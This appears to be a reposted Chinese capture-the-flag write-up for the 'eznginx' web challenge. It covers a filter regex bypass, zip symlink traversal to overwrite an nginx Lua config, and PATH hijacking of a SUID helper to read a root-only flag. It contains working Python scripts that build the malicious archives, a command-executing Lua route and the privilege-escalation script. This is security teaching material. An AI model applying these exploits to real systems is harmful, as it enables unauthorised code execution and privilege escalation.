文章总结: 本文详细分析了CCB决赛Web题目eznginx的解题思路。通过分析Filter与Controller路径解析差异绕过正则限制,利用软链接覆盖nginx配置文件实现恶意Lua代码注入,结合PATH环境变量劫持SUID程序完成提权,最终通过自定义路由读取flag。整个过程涉及Java代码审计、文件上传漏洞利用和系统权限提升技巧。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,红队,内网渗透
ccb决赛web wp–eznginx
赛查查
2026年5月15日 10:07 北京
在小说阅读器读本章
去阅读
以下文章来源于m0v0n ,作者moon
m0v0n
eznginx
先审计一波jar包
先看入口类,这里有一个文件上传接口
直接访问显示被正则表达式阻止
利用Filter和Controller对路径解析逻辑之间的差异绕过正则
分析一个Filter类中正则的逻辑
过滤器限制了/api/v2/preview/开头的请求
如果不匹配 /api/v2/preview/,则通过;如果匹配,则检查 URL 和 Query 参数是否符合 authPattern 正则表达式。
我们来找一下这个authPattern正则表达式
authPattern通过ChallengeProperties类从配置文件中读取
可以发现这个正则表达式匹配的是download接口,但没有限制upload上传接口,所以我们只需要构造一个以download结尾,同时访问的是upload的路径就可以绕过了
过滤器中这个匹配方法会将URL和查询参数拼接的一块
并且正则表达式中.*?是非贪婪匹配
auth-pattern: "^/api/v2/preview/[A-Za-z]+.*?/download$"
所以我们可以利用这一特性去构造一个带有查询参数的请求
/api/v2/preview/admin/sync/upload?path=/anything/download
这里getRequestURI() = /api/v2/preview/admin/sync/upload
getQueryString() = path=/anything/download
拼接之后正则表达式中的.*?会匹配到admin/sync/upload?path=/anything/这一长串
这样我们就绕过正则表达式的限制
之后我们的请求被放行后,它进入了 Spring 的 DispatcherServlet。Spring 在处理请求映射(Mapping)时,逻辑与 Filter 截然不同,spring mvc会忽略查询参数,只看URL,最终/api/v2/preview/admin/sync/upload会被保留下来,从而走到了upload接口中
软链接覆盖
审计一下解压逻辑的类
发现支持unix符号链接
再看writeSymlink
在 writeSymlink 中,代码读取了压缩包内符号链接的目标 symlinkTarget,并直接使用 Paths.get(symlinkTarget) 创建了一个符号链接。它并没有检查这个 symlinkTarget 是否越过了 extractRoot!
我们利用给的dockerfile自己搭建一个环境,进到容器进行测试
既然我们可以通过软链接进行文件写入,那我们现在就需要去找那些地方是我们能写的
我们的用户是appuser,可以看到ez-dynamic.conf这个文件是我们可以覆盖的
里面是一个指向lua配置的路由
不难想到,我们可以通过覆写将ez-dynamic.conf改写成我们想要的恶意配置,从而达到命令执行
提权思路
但是,我们现在是appuser用户,flag需要root用户才能读取,所以我们需要提权
在给定的文件夹中,我们看到一个可以利用的suid文件
注意看这里
execvp(argv[0], argv);
这里用的是execvp,而不是execv
execv需要绝对路径execvp会去 PATH 环境变量里找可执行文件
程序会调用service-check status这个命令,并且service-check没有写绝对路径
我们可以通过PATH劫持将程序执行的路径改为一个我们可控的路径
有一点我们需要注意一下,解压缩上传上来的文件是没有执行权限的,所以我们无法通过覆写service-check去进行命令执行
但是我们可以通过软链接将service-check 指向/bin/sh,上传一个名为status的脚本文件,将这两个文件写入到同一个我们可控的文件夹中,之后执行ops-helper,就会执行service-check status ,也就是/bin/sh status,从而执行我们上传上去的脚本文件
并且ops-helper是SUID root,程序执行后提权也就完成了。
思路明确了,我们开始实践
验证
写入脚本
/tmp/ez-nginx/imports这个目录是我们可以控制的,Java程序创建的子文件夹需要root权限,所以我们需要将脚本写入到imports这个文件夹下
利用脚本制作一个带有两个恶意软链接的压缩包
import zipfile
import os
slink1_info = zipfile.ZipInfo("slink")
slink1_info.external_attr = 0o120000 << 16
slink1_target = b"/"
file_path_in_zip = "slink/tmp/ez-nginx/imports/status"
file_info = zipfile.ZipInfo(file_path_in_zip)
file_info.external_attr = 0o100644 << 16
with open("status", "rb") as f:
file_content = f.read()
file2_path = "slink/tmp/ez-nginx/imports/service-check"
file2_info = zipfile.ZipInfo(file2_path)
file2_info.external_attr = 0o120000 << 16
file2_target = b"/bin/sh"
with zipfile.ZipFile("exploit.zip", "w") as zf:
zf.writestr(slink1_info, slink1_target)
zf.writestr(file_info, file_content)
zf.writestr(file2_info, file2_target)
print("exploit.zip created successfully!")
准备恶意脚本status
#/bin/sh
sudo cat /flag.txt > /tmp/ez-nginx/imports/flag.txt
sudo chmod 677 /tmp/ez-nginx/imports/flag.txt
执行py脚本,上传压缩包
成功上传,我们到容器中验证一下
成功写入
覆写ez-dynamic.conf
准备一个同名的恶意配置文件,写入恶意的lua配置
location = /exp {
content_by_lua_block {
local shell = require("resty.shell")
local cmd = "cd /tmp/ez-nginx/imports&&export PATH=/tmp/ez-nginx/imports/:$PATH&&/usr/local/bin/ops-helper"
local ok, stdout, stderr, reason, status = shell.run(cmd, "", 10000, 65535)
if not ok then
ngx.say("<pre>")
ngx.say("执行失败,原因: ", reason)
if reason == "exit" then
ngx.say("退出码: ", status)
ngx.say("标准错误 (stderr):\n", stderr or "(空)")
elseif reason == "timeout" then
ngx.say("命令执行超时")
else
ngx.say("其他错误: ", reason)
end
ngx.say("</pre>")
return
end
local f = io.open("/tmp/ez-nginx/imports/flag.txt","r")
ngx.say(f:read("*a"))
ngx.say("<pre>执行成功\n", stdout, "</pre>")
}
}
这个配置会将PATH设置成我们的可控文件夹,并执行SUID程序,从而执行我们的恶意脚本,将flag读取出来
通过软链接进行覆写
import zipfile
import os
slink_info = zipfile.ZipInfo("slink")
slink_info.external_attr = 0o120000 << 16
slink_target = b"/"
file_path_in_zip = "slink/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf"
file_info = zipfile.ZipInfo(file_path_in_zip)
file_info.external_attr = 0o100644 << 16
with open("ez-dynamic.conf", "rb") as f:
file_content = f.read()
with zipfile.ZipFile("exploit.zip", "w") as zf:
zf.writestr(slink_info, slink_target)
zf.writestr(file_info, file_content)
print("exploit.zip created successfully!")
执行并上传
覆写成功
覆写后,我们的配置需要重启nginx才能使用,我们需要找到如何去重启nginx
重载配置
在之前的配置文件中我没用可以看到一个重载的脚本
现在我们只需要分析这个脚本是怎么被调用的就可以了
发现这个方法会去执行这个重载脚本,继续寻找那个调用了refresh方法
发现在accept方法中会调用这个方法,也就是说我们每次上传成功都会重载我们的nginx配置。
所以我们只需要上传一个普通的压缩包就可以了
上传成功
读取flag
访问我们配置的恶意路由
下载了一个exp文件,打开
成功读取flag
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《ccb决赛web wp–eznginx》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论